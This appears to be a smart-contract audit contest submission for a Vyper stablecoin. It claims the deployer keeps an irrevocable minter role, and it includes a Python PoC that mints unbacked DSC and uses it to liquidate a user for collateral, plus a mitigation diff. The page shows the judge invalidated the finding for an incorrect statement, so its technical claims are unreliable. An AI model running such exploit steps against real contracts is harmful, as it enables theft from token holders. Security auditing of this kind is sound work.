Algo Ssstablecoinsss

AI First Flight #2
Beginner FriendlyDeFi
EXP
View results
Submission Details
Impact: high
Likelihood: low
Invalid

DSC exports ownable.transfer_ownership instead of erc20.transfer_ownership, so the deployer keeps the minter role after ownership passes to DSCEngine and can mint unlimited unbacked DSC that no one can revoke

Root + Impact

Description

  • DSC is meant to be minted only by DSCEngine, against collateral ("Minting (Stability Mechanism): Decentralized (Algorithmic)"). The intended wiring (script/deploy_dsc_engine.py:25-26) calls dsc.set_minter(engine, True) and then dsc.transfer_ownership(engine), handing all control to the engine. The pinned snekmate 0.1.0 provides erc20.transfer_ownership for exactly this: it clears the old owner's is_minter flag and grants the flag to the new owner (erc20.vy:408-412). snekmate's own export comment (erc20.vy:107-110) says this is why the ownable versions are not to be exported.

  • decentralized_stable_coin.vy exports ow.transfer_ownership (line 40). That is snekmate ownable.vy:47-58, which only rewrites owner. erc20.__init__ gave the deployer is_minter = True (erc20.vy:204), and that flag is never cleared. After the handoff no path exists to revoke it:

    • The deployer is no longer the owner, so it cannot call set_minter.

    • DSCEngine, the new owner, contains no call to set_minter or transfer_ownership.

    • renounce_ownership is not exported.

    • Even before the handoff, the owner cannot clear its own flag through set_minter (erc20.vy:340, "erc20: minter is owner address").

    mint checks only is_minter (erc20.vy:320), so the deployer can mint any amount of DSC with no collateral and no engine debt. is_minter is not exported either, so the extra minter is not visible in the DSC ABI. It is visible only in the RoleMinterChanged(deployer, True) event emitted at construction, which is never followed by a revocation, and in raw storage.

# src/decentralized_stable_coin.vy:33-41
exports: (
erc20.IERC20,
erc20.IERC20Detailed,
erc20.burn_from,
erc20.mint,
erc20.set_minter,
ow.owner,
@> ow.transfer_ownership,
)
​
# .venv/Lib/site-packages/snekmate/tokens/erc20.vy:204 (erc20.__init__, library) - the deployer becomes a minter
@> self.is_minter[msg.sender] = True
​
# .venv/Lib/site-packages/snekmate/auth/ownable.vy:56-58 (the transfer_ownership actually exported) - no minter logic
self._check_owner()
assert new_owner != empty(address), "ownable: new owner is the zero address"
@> self._transfer_ownership(new_owner)

Risk

Likelihood:

  • The leftover role is created on every deployment by the protocol's own intended wiring. No misconfiguration is needed, and once ownership passes to the engine it can never be removed.

  • Abuse happens when the deployer key acts maliciously or is compromised (leaked, stolen, or reused by an operator). That precondition is what keeps likelihood Low. The README names no trusted minter or admin, and describes minting as decentralized.

Impact:

  • Unlimited unbacked minting outside the engine's accounting. In the PoC the deployer mints 1,000,000 DSC while its engine account information is (0, 0). DSC totalSupply becomes 1,010,000 against 10,000 DSC of engine-tracked debt and $20,000 of collateral, which breaks the solvency invariant (collateral value >= totalSupply) and the peg.

  • Free DSC can buy real collateral through liquidations. The deployer liquidates a user at HF 0.9 with 10,000 self-minted DSC and receives 6.111111 WETH ($11,000), without ever holding a position. Afterwards 10,000 DSC still circulates against zero tracked debt and $7,000 of engine collateral. The loss falls on DSC holders and the system's backing.

Proof of Concept

The PoC deploys the real decentralized_stable_coin.vy and dsc_engine.vy with the repo mocks, and wires them as script/deploy_dsc_engine.py:25-26 does. It reads the non-exported is_minter straight from storage, using the compiler's storage layout. Section 5 compiles the same DSC source in memory with ow.transfer_ownership replaced by erc20.transfer_ownership and shows that the deployer's role is then removed.

Run from the repo root: .venv/Scripts/python poc/poc_AS-02.py

"""
PoC AS-02: decentralized_stable_coin.vy exports `ow.transfer_ownership`
(snekmate ownable) instead of `erc20.transfer_ownership`, so the deployer keeps
the `is_minter` role granted by erc20.__init__ after ownership is handed to the
engine. The role cannot be revoked afterwards and is not exposed in the ABI.
​
Steps
0. deploy + the intended wiring (script/deploy_dsc_engine.py:25-26):
dsc.set_minter(engine, True); dsc.transfer_ownership(engine)
1. baseline: an ordinary EOA cannot mint; the engine path is collateral-gated
2. the deployer still mints unbacked DSC with zero collateral, outside engine accounting
3. the role is irrevocable and not in the ABI
4. free DSC funds a liquidation: the deployer seizes collateral + 10% bonus at
zero cost and leaves DSC totalSupply above the collateral the engine holds
5. fix contrast: the same source exporting erc20.transfer_ownership removes the role
​
Run (from the repo root): .venv/Scripts/python poc/poc_AS-02.py
"""
import subprocess
import sys
​
# Windows non-UTF-8 locales (e.g. gbk) cannot read snekmate's UTF-8 sources with
# the default open() codec; re-run this script once in Python UTF-8 mode.
if not sys.flags.utf8_mode:
sys.exit(subprocess.call([sys.executable, "-X", "utf8", *sys.argv]))
​
import boa
from eth_utils import keccak
​
ENGINE = "src/dsc_engine.vy"
DSC_SRC = "src/decentralized_stable_coin.vy"
MOCK_TOKEN = "src/mocks/mock_token.vy" # 18 decimals (avoids the separate AS-01 decimals bug)
MOCK_FEED = "src/mocks/MockV3Aggregator.vy"
​
E18 = 10**18
ETH_PRICE = 2_000 * 10**8
BTC_PRICE = 100_000 * 10**8
​
​
def usd(x):
return x / E18
​
​
def is_minter(token, who):
"""Read the (non-exported) erc20.is_minter[who] straight from storage.
​
Vyper HashMap slot = keccak256(slot ++ key); the base slot comes from the
compiler's storage layout, not a hard-coded number.
"""
base = token.compiler_data.storage_layout["storage_layout"]["erc20"]["is_minter"]["slot"]
key = bytes.fromhex(str(who)[2:]).rjust(32, b"\0")
slot = int.from_bytes(keccak(base.to_bytes(32, "big") + key), "big")
return boa.env.evm.get_storage(token.address, slot) == 1
​
​
def fn_names(c):
return {f["name"] for f in c.abi if f.get("type") == "function"}
​
​
# ------------------------------------------------------------------ 0. deploy + intended wiring
print("== 0. deploy and wire exactly like script/deploy_dsc_engine.py ==")
deployer = boa.env.eoa
dsc = boa.load(DSC_SRC)
weth = boa.load(MOCK_TOKEN)
wbtc = boa.load(MOCK_TOKEN) # second 18-dec collateral slot; unused below
eth_feed = boa.load(MOCK_FEED, 8, ETH_PRICE)
btc_feed = boa.load(MOCK_FEED, 8, BTC_PRICE)
engine = boa.load(ENGINE, [wbtc.address, weth.address], [btc_feed.address, eth_feed.address], dsc.address)
​
assert dsc.owner() == deployer
assert is_minter(dsc, deployer), "erc20.__init__ grants the deployer the minter role"
assert not is_minter(dsc, engine.address)
print(f"pre-wiring : owner=deployer, is_minter[deployer]={is_minter(dsc, deployer)}")
​
dsc.set_minter(engine.address, True) # deploy_dsc_engine.py:25
dsc.transfer_ownership(engine.address) # deploy_dsc_engine.py:26 -> ow.transfer_ownership
​
assert dsc.owner() == engine.address
assert is_minter(dsc, engine.address)
assert is_minter(dsc, deployer), "BUG: ownable.transfer_ownership left the deployer's minter flag set"
print(f"post-wiring: owner=engine, is_minter[engine]={is_minter(dsc, engine.address)}, "
f"is_minter[deployer]={is_minter(dsc, deployer)} <-- still a minter")
​
# ------------------------------------------------------------------ 1. baseline
print("== 1. baseline: only minters can mint; the engine path is collateral-gated ==")
rando = boa.env.generate_address("rando")
with boa.env.prank(rando):
with boa.reverts("erc20: access is denied"):
dsc.mint(rando, 1)
with boa.reverts("DSCEngine__BreaksHealthFactor"):
engine.mint_dsc(1 * E18) # no collateral -> engine refuses
print("random EOA: dsc.mint reverts 'erc20: access is denied'; engine.mint_dsc without collateral reverts")
​
# honest user who goes through the engine (also the liquidation victim in step 4)
alice = boa.env.generate_address("alice")
with boa.env.prank(alice):
weth.mint_amount(10 * E18)
weth.approve(engine.address, 10 * E18)
engine.deposit_collateral_and_mint_dsc(weth.address, 10 * E18, 10_000 * E18)
assert dsc.totalSupply() == 10_000 * E18
assert engine.user_to_dsc_minted(alice) == 10_000 * E18
print(f"alice: 10 WETH ($20,000) deposited, 10,000 DSC minted, HF={engine.health_factor(alice)}")
​
# ------------------------------------------------------------------ 2. unbacked mint by the deployer
print("== 2. deployer mints unbacked DSC with no collateral and no engine debt ==")
attacker = boa.env.generate_address("attacker_wallet")
BIG = 1_000_000 * E18
supply_before = dsc.totalSupply()
dsc.mint(attacker, BIG) # msg.sender = deployer, passes erc20.vy:320 (is_minter only)
assert dsc.balanceOf(attacker) == BIG
assert dsc.totalSupply() == supply_before + BIG
assert engine.get_account_information(deployer) == (0, 0) # no debt, no collateral
assert engine.get_account_information(attacker) == (0, 0)
tracked_debt = engine.user_to_dsc_minted(alice) # only engine-tracked debt in the system
collateral_usd = engine.get_account_collateral_value(alice)
print(f"deployer minted {usd(BIG):,.0f} DSC to attacker_wallet; deployer debt/collateral in engine = (0, 0)")
print(f"totalSupply={usd(dsc.totalSupply()):,.0f} DSC vs engine-tracked debt={usd(tracked_debt):,.0f} "
f"vs collateral=${usd(collateral_usd):,.0f}")
assert dsc.totalSupply() > tracked_debt
assert dsc.totalSupply() > collateral_usd # solvency invariant (collateral >= supply) broken
​
# ------------------------------------------------------------------ 3. irrevocable + not in ABI
print("== 3. the role cannot be revoked and is invisible in the ABI ==")
with boa.reverts("ownable: caller is not the owner"):
dsc.set_minter(deployer, False) # deployer is no longer owner
with boa.reverts("ownable: caller is not the owner"):
dsc.transfer_ownership(deployer) # cannot take ownership back either
dsc_fns = fn_names(dsc)
eng_fns = fn_names(engine)
assert "is_minter" not in dsc_fns and "renounce_ownership" not in dsc_fns
assert not ({"set_minter", "transfer_ownership", "renounce_ownership"} & eng_fns)
eng_src = open(ENGINE, encoding="utf-8").read()
assert "set_minter" not in eng_src and "transfer_ownership" not in eng_src
print(f"DSC ABI: {sorted(dsc_fns)}")
print("DSC ABI has no is_minter / renounce_ownership; engine (the owner) has no set_minter/"
"transfer_ownership code path -> deployer's role is frozen in place")
​
# even before the handoff the owner cannot drop its own flag via set_minter (erc20.vy:340)
with boa.env.anchor():
dsc2 = boa.load(DSC_SRC)
with boa.reverts("erc20: minter is owner address"):
dsc2.set_minter(deployer, False)
print("fresh DSC: owner set_minter(self, False) reverts 'erc20: minter is owner address'")
assert is_minter(dsc, deployer)
​
# ------------------------------------------------------------------ 4. free DSC funds a liquidation
print("== 4. free DSC funds a liquidation: collateral + 10% bonus at zero cost ==")
eth_feed.updateAnswer(1_800 * 10**8)
hf_start = engine.health_factor(alice)
assert hf_start == 9 * 10**17 # 0.9 -> liquidatable
print(f"ETH -> $1800, alice HF = {hf_start / E18}")
​
COVER = 10_000 * E18
deployer_weth_before = weth.balanceOf(deployer)
assert deployer_weth_before == 0
assert dsc.balanceOf(deployer) == 0
dsc.mint(deployer, COVER) # free, unbacked
dsc.approve(engine.address, COVER)
engine.liquidate(weth.address, alice, COVER)
​
seized = weth.balanceOf(deployer)
expected_base = COVER * E18 // (1_800 * 10**8 * 10**10)
expected = expected_base + expected_base * 10 // 100
assert seized == expected == 6_111_111_111_111_111_110
seized_usd = engine.get_usd_value(weth.address, seized)
assert dsc.balanceOf(deployer) == 0
assert engine.get_account_information(deployer) == (0, 0) # still no position at all
print(f"deployer: paid 0 collateral, burned {usd(COVER):,.0f} self-minted DSC, received "
f"{seized / E18:.6f} WETH (${usd(seized_usd):,.2f})")
​
# system state after (ignore the 1,000,000 DSC from step 2 to isolate the liquidation)
supply_ex_step2 = dsc.totalSupply() - BIG
engine_coll_usd = engine.get_usd_value(weth.address, weth.balanceOf(engine.address))
total_debt = engine.user_to_dsc_minted(alice) + engine.user_to_dsc_minted(deployer)
print(f"after: DSC supply (excl. step 2) = {usd(supply_ex_step2):,.0f}, engine-tracked debt = "
f"{usd(total_debt):,.0f}, engine collateral = ${usd(engine_coll_usd):,.2f}")
assert supply_ex_step2 == 10_000 * E18 # alice's DSC is still circulating
assert total_debt == 0 # but no debt backs it any more
assert engine_coll_usd < supply_ex_step2 # under-collateralised: ~$7,000 vs 10,000 DSC
​
# ------------------------------------------------------------------ 5. fix contrast
print("== 5. fix: export erc20.transfer_ownership instead of ow.transfer_ownership ==")
fixed_src = open(DSC_SRC, encoding="utf-8").read()
assert " ow.transfer_ownership," in fixed_src
fixed_src = fixed_src.replace(" ow.transfer_ownership,", " erc20.transfer_ownership,")
with boa.env.anchor():
dscf = boa.loads(fixed_src, name="dsc_fixed")
dscf.set_minter(engine.address, True)
dscf.transfer_ownership(engine.address)
assert dscf.owner() == engine.address
assert is_minter(dscf, engine.address)
assert not is_minter(dscf, deployer)
with boa.reverts("erc20: access is denied"):
dscf.mint(deployer, 1)
print("fixed DSC: same wiring -> is_minter[deployer]=False, deployer mint reverts 'erc20: access is denied'")
​
print("PASS: AS-02 proven - deployer keeps an irrevocable, ABI-invisible minter role and mints unbacked DSC")

The script ends with: PASS: AS-02 proven - deployer keeps an irrevocable, ABI-invisible minter role and mints unbacked DSC

Recommended Mitigation

Export snekmate's minter-aware ownership functions (as its own export comment instructs), and expose is_minter so the minter set can be checked.

--- a/src/decentralized_stable_coin.vy
+++ b/src/decentralized_stable_coin.vy
@@ exports @@
exports: (
erc20.IERC20,
erc20.IERC20Detailed,
erc20.burn_from,
erc20.mint,
erc20.set_minter,
+ erc20.is_minter,
ow.owner,
- ow.transfer_ownership,
+ erc20.transfer_ownership,
)
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!